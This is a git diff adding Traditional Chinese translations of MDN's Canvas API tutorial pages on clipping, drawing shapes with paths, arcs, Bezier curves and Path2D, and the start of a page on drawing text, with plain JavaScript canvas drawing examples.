+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>一開始我們先畫了一個黑色矩形作為畫布背景，然後移動畫布原點到中央，接著我們繪製弧線並呼叫 clip()，藉以建立圓形的裁剪路徑。畫布儲存狀態亦可儲存裁剪路徑。若要保留原本的裁剪路徑，則可於繪製新的裁剪路徑之前，先行儲存畫布狀態。</p>
+
+<p>繪製裁剪路徑之後，所產生的所有圖形都只會出現在路徑以內，從後來繪製的漸層背景中可看出此特性。我們用自訂的 drawStar() 函數產生 50 個隨機散佈、大小不一的星星。這些星星同樣只會出現在裁剪路徑的範圍之內。</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Transformations", "Web/Guide/HTML/Canvas_tutorial/Basic_animations")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/zh-tw/web/api/canvas_api/tutorial/drawing_shapes/index.html
new file mode 100644
index 0000000000..96fe2b9615
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/drawing_shapes/index.html
@@ -0,0 +1,551 @@
+---
+title: 繪製圖形
+slug: Web/API/Canvas_API/Tutorial/Drawing_shapes
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<p id="網格(Grid)">網格(Grid)</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">在開始繪圖前，我們必須先了解畫布 (canvas) 網格，或著是說座標空間。在前一頁教學中的 HTML 範本有一個寬150 pixels (像素)、高150 pixels 的畫布。如右圖，你在畫布預設網格上繪圖，網格上 1 單位相當於畫布上 1 pixel，網格的原點 (座標 (0, 0) ) 坐落於左上角，所有元素定位皆相對於此左上角原點，所以藍色方塊的位置為從左往右推 x pixels、從上往下推 y pixels (亦即座標 (x, y) )。現在我們先專注在預設設定上，之後我們會看到如何轉換原點位置、旋轉網格以及縮放網格。</p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="畫矩形">畫矩形</h2>
+
+<p>不同於<a href="/en-US/docs/SVG" rel="internal" title="en/SVG">SVG</a>，{{HTMLElement("canvas")}}只支援一種原始圖形，矩形。所有的圖形都必須由一或多個繪圖路徑構成，而我們正好有一些繪圖路徑函數可以讓我們畫出複雜的圖形。</p>
+
+<div id="section_3">
+<p>首先來看看矩形，共有三個矩形繪圖函數:</p>
+
+<dl>
+ <dt><code>fillRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>畫出一個填滿的矩形。</dd>
+ <dt><code>strokeRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>畫出一個矩形的邊框</dd>
+ <dt><code>clearRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>清除指定矩形區域內的內容，使其變為全透明。</dd>
+</dl>
+
+<p>這三個函數都接受一樣的參數: x, y代表從原點出發的座標位置，width, height代表矩形的寬高。</p>
+
+<h3 id="矩形範例">矩形範例</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}</pre>
+
+<p>本例結果如下:</p>
+
+<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>fillRect()函數畫出一個寬高都100 pixels的矩形，clearRect()函數清除中央60 x 60 pixels大的正方形區域，接著strokeRect()在被清除區域內畫上一個50 x 50 pixels的矩形邊框。</p>
+
+<p>之後我們會看到另外兩種代替clearRect()的方法，還有如何改變圖形顏色與筆畫樣式。</p>
+
+<p>不像之後會看到的路徑繪圖函數，這三個函數會立即在畫布上畫出矩形。</p>
+
+<h2 id="路徑繪製">路徑繪製</h2>
+
+<p>使用路徑 (path) 來畫圖形需要多一點步驟，一開始先產生路徑，然後用繪圖指令畫出路徑，然後再結束路徑，一旦路徑產生後便可以用畫筆或填滿方式來渲染生成，這裡是一些可用函數:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>產生一個新路徑，產生後再使用繪圖指令來設定路徑。</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd>閉合路徑好讓新的繪圖指令來設定路徑。</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">路徑 API</a></dt>
+ <dd>路徑 API，這些 API 便是繪圖指令</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>畫出圖形的邊框。</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>填滿路徑內容區域來產生圖形。</dd>
+</dl>
+
+<p>第一步呼叫 beginPath() 產生一個路徑，表面下，路徑會被存在一個次路徑 (sub-path) 清單中，例如直線、曲線等，這些次路徑集合起來就形成一塊圖形。每一次呼叫這個方法，次路徑清單就會被重設，然後我們便能夠畫另一個新圖形。</p>
+
+<div class="note"><strong>Note:</strong> 當目前路徑為空(例如接著呼叫beginPath()完後)或是在一個新畫布上，不論為何，第一個路徑繪圖指令總是moveTo()；因為每當重設路徑後，你幾乎都會需要設定繪圖起始點。</div>
+
+<p>第二步是呼叫各式方法來實際設定繪圖路徑，稍後我們將會介紹這部分。</p>
+
+<p>第三步，也是非必要的一步，就是呼叫closePath()。這個方法會在現在所在點到起始點間畫一條直線以閉合圖形，如果圖形已經閉合或是只含一個點，這個方法不會有任何效果。</p>
+
+<div class="note"><strong>Note:</strong> 當呼叫fill()，任何開放的圖形都會自動閉合，所以不需要再呼叫closePath()，但是stroke()並非如此。</div>
+
+<h3 id="畫一個三角形">畫一個三角形</h3>
+
+<p>這是一個畫出三角形的程式碼範例。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="移動畫筆">移動畫筆</h3>
+
+<p>moveTo()是一個很有用的函數，moveTo()不會畫任何圖形，但卻是上述路徑清單的一部分，這大概有點像是把筆從紙上一點提起來，然後放到另一個點。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>移動畫筆到指定的(x, y)座標點</dd>
+</dl>
+
+<p>當初始化畫布或是呼叫beginPath()，通常會想要使用moveTo()來指定起始點，我們可以用moveTo()畫不連結的路徑，看一下笑臉圖範例，圖中紅線即為使用到moveTo()的位置。</p>
+
+<p>你可以拿下面的程式碼，放進先前的draw()函數，自己試試看效果。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Outer circle
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);   // Mouth (clockwise)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Left eye
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Right eye
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>移除moveTo()便可以看到線條連結起來。</p>
+
+<div class="note">
+<p><strong>Note:</strong> 有關arc()，請參照下方 {{anch("Arcs")}} .</p>
+</div>
+
+<h3 id="線條">線條</h3>
+
+<p>用lineTo()方法畫直線。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>從目前繪圖點畫一條直線到指定的(x, y)座標點。</dd>
+</dl>
+
+<p>本方法接受x, y參數作為線條結束點的座標位置，至於起始點則視前一個繪圖路徑，由前一個繪圖路徑的結束點作為起始點，當然，起始點也可以用moveTo()方法來變更。</p>
+
+<p>下面畫兩個三角形，一個填滿，一個空心。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>從呼叫beginPath()起始一個新圖形路徑，然後用moveTo()移到我們想要的起始點，然後再畫兩條線形成三角形的兩邊。</p>
+
+<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>我們可以看到填滿(fill)三角形和勾勒(stroke)三角形的區別；當填滿時，圖形會自動閉合，不過勾勒則不會，所以如果沒有呼叫closePaht()的話，只會畫出兩條線而非三角形。</p>
+
+<h3 id="弧形">弧形</h3>
+
+<p>用arc()方法來畫弧形或圓形。雖然也可以用arcTo()，但這個方法比較不可靠，所以這裡我們不討論arcTo()。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd>畫一個弧形</dd>
+</dl>
+
+<p>本方法接受五個參數: x, y代表圓心座標點，radius代表半徑，startAngle, endAngle分別代表沿著弧形曲線上的起始點與結束點的弧度，弧度測量是相對於x軸，anticlockwise為true代表逆時針作圖、false代表順時針作圖。</p>
+
+<div class="note">
+<p><strong>Note</strong>: arc()方法用的是弧度(radians)而非角度(degrees)，如果要在弧度與角度間換算，可以利用以下javascript程式碼: radians = (Math.PI/180) * degrees.</p>
+</div>
+
+<p>以下例子比較複雜，它會畫出12個不同的弧形。</p>
+
+<p>兩個for迴圈走一遍弧形圖列的列跟行，每一個弧形由呼叫beginPath()開始新的繪圖路徑，為了清楚，我們在程式範例中用變數儲存參數，你不一定要這麼做。</p>
+
+<p>x, y座標點的部分應該相當淺顯，radius和startAngle是定值，endAngle從180度(半圓)開始，然後每一行增加90度，最後一行便會形成一個完整的圓。</p>
+
+<p>第1, 3列的anticlockwise 為false，所以會順時針作圖，2, 4列的anticlockwise 為true，所以會逆時針作圖。最後的if決定下半部是用填滿圖形，上半部是勾勒圖形。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i&lt;4;i++){
+      for(var j=0;j&lt;3;j++){
+        ctx.beginPath();
+        var x              = 25+j*50;               // x coordinate
+        var y              = 25+i*50;               // y coordinate
+        var radius         = 20;                    // Arc radius
+        var startAngle     = 0;                     // Starting point on circle
+        var endAngle       = Math.PI+(Math.PI*j)/2; // End point on circle
+        var anticlockwise  = i%2==0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i&gt;1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}
+
+<h3 id="貝茲曲線(Bezier_curve)與二次曲線(quadratic_curve)">貝茲曲線(Bezier curve)與二次曲線(quadratic curve)</h3>
+
+<p>二次與三次<a href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve"><span class="external">貝茲曲線(Bézier curves</span>)</a>是另一種可用來構成複雜有機圖形的路徑。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd>從目前起始點畫一條二次貝茲曲線到x, y指定的終點，控制點由cp1x, cp1y指定。</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>從目前起始點畫一條三次貝茲曲線到x, y指定的終點，控制點由(cp1x, cp1y)和(cp2x, cp2y)指定。</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">二次和三次的差別可以從右圖看出；貝茲曲線的起始和終點以藍點標示，其中二次貝茲曲線只有一個控制點(如紅點標示)而三次貝茲曲線有兩個控制點。</p>
+
+<p>二次和三次貝茲曲線都用x, y參數定義終點座標，然後用cp1x, xp1y定義第一個控制點座標、cp2x, xp2y定義第二個控制點座標。</p>
+
+<p>用二次和三次貝茲曲線作圖相當具有挑戰性，因為不像使用 Adobe illustrator 的向量繪圖軟體，我們在繪圖時無法即時看到繪圖狀況，所以畫複雜的圖形十分困難。下面的範例我們畫了一些圖形，如果你有時間與耐心，可以畫出更複雜的圖形。</p>
+
+<h4 id="二次貝茲曲線">二次貝茲曲線</h4>
+
+<p>本例用了數個二次貝茲曲線畫了一個會話框。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="三次貝茲曲線">三次貝茲曲線</h4>
+
+<p>這個範例畫了一個愛心。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="矩形">矩形</h3>
+
+<p>除了在{畫矩形}段落中提到的三個方法，還有rect()方法能夠在畫布上畫矩形；rect()方法會在目前路徑下加入一個矩形繪圖路徑。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "rect(x, y, width, height)")}}</dt>
+ <dd>畫一個左上角位於(x, y)、寬width、高height的矩形。</dd>
+</dl>
+
+<p>呼叫這個方法，moveTo()方法會以(0, 0)參數被自動呼叫，所以目前的下筆點跟者自動被設為預設座標。</p>
+
+<h3 id="多樣組合">多樣組合</h3>
+
+<p>截至目前為止，我們都只用一種路徑函數在各個範例裡作圖，不過，其實繪圖時並沒有任何使用數量或種類上的路徑函數限制，所以最後我們來試著組合各樣路徑繪圖函數來畫一些十分有名的遊戲角色。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i&lt;6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.quadraticCurveTo(x,y+height,x+radius,y+height);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.quadraticCurveTo(x+width,y+height,x+width,y+height-radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.quadraticCurveTo(x+width,y,x+width-radius,y);
+  ctx.lineTo(x+radius,y);
+  ctx.quadraticCurveTo(x,y,x,y+radius);
+  ctx.stroke();
+}
+</pre>
+
+<div id="section_18">
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("Making_combinations", 160, 160)}}</p>
+
+<p>畫出這樣的圖其實沒有想像中的困難，所以我們就不再描述細節了，其中比較需要注意的是，我們在繪圖環境上用了fillStyle屬性以及一個自定義的效用函數(roundedRect())，利用效用函數來執行時常重複的繪圖工作可以幫忙減少程式碼數量與複雜度。</p>
+
+<p>稍後我們會更進一步介紹fillStyle屬性，這個範例我們所做是的透過fillStyle屬性來改變路徑填滿色為白色，然後再改回預設黑色，來變換填滿顏色，。</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Basic_usage", "Web/Guide/HTML/Canvas_tutorial/Using_images")}}</p>
+</div>
+</div>
+
+<h2 id="Path2D_objects">Path2D objects</h2>
+
+<p>如同前面的範例，canvas 上常常會畫上一連串的繪圖路徑，為了簡化程式碼還有改善效能，我們可以利用 {{domxref("Path2D")}} 物件 (目前在較先進的瀏覽器上已經有提供了)。Path2D 讓我們可以快取和記錄繪圖指令，方便快速重複地繪圖，底下我就來看看如何使用 Path2D :</p>
+
+<p>{{domxref("Path2D.Path2D", "Path2D()")}}</p>
+
+<p>    Path2D 的建構子，可接受的參數有無參數、另一個 Path2D 物件、 字元表式的 <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a>:</p>
+
+<pre class="brush: js">new Path2D();     // 不傳入參數會回傳一個空的 Path2D 物件
+new Path2D(path); // 複製傳入的 Path2D 物件，然後以之建立 Path2D 物件
+new Path2D(d);    // 以傳入的 SVG 路徑建立 Path2D 物件</pre>
+
+<p>所有已知的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">路徑 API</a>，如 rect, arc 等等，都可以在 Path2D 上找到。</p>
+
+<p>Path2D 物件還可以加入其他 Path2D 物件，這讓我們可以很方便的組合多個物件使用。</p>
+
+<p>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</p>
+
+<p>    addPath 增加一個 Path2D 物件，其中的非必要參數是變形矩陣。</p>
+
+<h3 id="Path2D_example">Path2D example</h3>
+
+<p>這個例子用 Path2D 物件將矩形和圓形的繪圖路徑存起來，以供之後使用。而配合新的 Path2D API，有一些繪圖方法更接受傳入 Path2D 作為繪圖路徑使用，例如下方本例所用到的 stroke 和 fill。</p>
+
+<pre class="brush: js;highlight[6,9]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="使用向量路徑_(SVG_paths)">使用向量路徑 (SVG paths)</h3>
+
+<p>另一個強而有力的特色是在 SVG 和 Canvas 中我們都可以使用 SVG path。</p>
+
+<p>下面的路徑會移到座標點 (10, 10) (M10, 10)，然後水平右移 80 點 (h 80)，垂至下移 80 點 (v 80) 水平左移 80 點 (h -80) 最後回到起始點 (z)，請到<a href="https://developer.mozilla.org/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> 建構子頁面</a>看繪圖範例結果。</p>
+
+<pre class="brush: js;">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/drawing_text/index.html b/files/zh-tw/web/api/canvas_api/tutorial/drawing_text/index.html
new file mode 100644
index 0000000000..cfafa8a5a8
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/drawing_text/index.html
@@ -0,0 +1,397 @@
+---
+title: 使用canvas繪製文字
+slug: Web/API/Canvas_API/Tutorial/Drawing_text
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</div>
+
+<p>{{ gecko_minversion_header("1.9") }}</p>
+
+<p><code><a href="/en/HTML/Canvas" title="en/HTML/Canvas">canvas</a></code>元素支援在<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#text-0" title="http://www.whatwg.org/specs/web-apps/current-work/#text">標準 HTML 5 特色</a>以及少許實驗性的Mozilla方法和功能上繪製文字。</p>
+
+<p>文字可以包括任何Unicode字元，即使用那些超出“基本多文種平面”的字元也可以。</p>
+
+<p>{{ fx_minversion_note("3.5", '在Firefox 3.5或之後的版本，當繪圖時，任何對於 <a class="internal" href="/en/Canvas_tutorial/Applying_styles_and_colors#Shadows" title="En/Canvas tutorial/Applying styles and colors#Shadows">shadow effects</a>（陰影效果）的處理可以使用在文字上。') }}</p>
+
+<h2 id="Method_overview" name="Method_overview">方法概述</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a class="internal" href="/en/Drawing_text_using_a_canvas#fillText()" title="en/Drawing text using a canvas#fillText()">fillText</a>(in <a class="internal" href="/En/DOM/DOMString" title="en/DOM/DOMString">DOMString</a> text, in float x, in float y, [optional] in float maxWidth);</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+  </tr>
+  <tr>
+   <td><a class="internal" href="/nsIDOMTextMetrics" title="nsIDOMTextMetrics"><span style="font-family: monospace;">nsIDOMTextMetrics</span></a><code> <a class="internal" href="/en/Drawing_text_using_a_canvas#measureText()" title="en/Drawing text using a canvas#measureText()">measureText</a>(in DOMString textToMeasure);</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozDrawText.28.29">mozDrawText</a>(in DOMString textToDraw); {{ deprecated_inline() }}</code></td>
+  </tr>
+  <tr>
+   <td><code>float <a href="#mozMeasureText.28.29">mozMeasureText</a>(in DOMString textToMeasure);</code><code> {{ deprecated_inline() }}</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozPathText.28.29">mozPathText</a>(in DOMString textToPath);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozTextAlongPath.28.29">mozTextAlongPath</a>(in DOMString textToDraw, in boolean stroke);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/Drawing_text_using_a_canvas#strokeText()" title="en/Drawing text using a canvas#strokeText()">strokeText</a>(in DOMString text, in float x, in float y, [optional] in float maxWidth);</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Attributes" name="Attributes">屬性</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">屬性</td>
+   <td class="header">型別</td>
+   <td class="header">描述</td>
+  </tr>
+  <tr>
+   <td><code>font</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="/En/DOM/DOMString" title="en/DOM/DOMString">DOMString</a></code></td>
+   <td>
+    <p>當前的文字樣式被用在繪製文字。該字串使用和 <a href="/en/CSS/font" title="en/CSS/font">CSS font</a>（樣式表字型）相同的語法。要改變繪製文字的樣式，只要簡單的改變它的屬性值即可，就像下面展示的，預設的字型是10px（像素） sans-serif（字型名稱）</p>
+
+    <p>例如:</p>
+
+    <pre class="eval">
+ctx.font = "20pt Arial";</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><code>mozTextStyle</code> {{ deprecated_inline() }}</td>
+   <td><code><a href="/En/DOM/DOMString" title="en/DOM/DOMString">DOMString</a></code></td>
+   <td>
+    <p>由上面的Html5<code>字型</code> 屬性取代</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>textAlign</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="/En/DOM/DOMString" title="en/DOM/DOMString">DOMString</a></code></td>
+   <td>
+    <p>當前繪製文字所使用的文字對齊方式。  可使用的值：</p>
+
+    <dl>
+     <dt>left</dt>
+     <dd>文字靠左對齊。</dd>
+     <dt>right</dt>
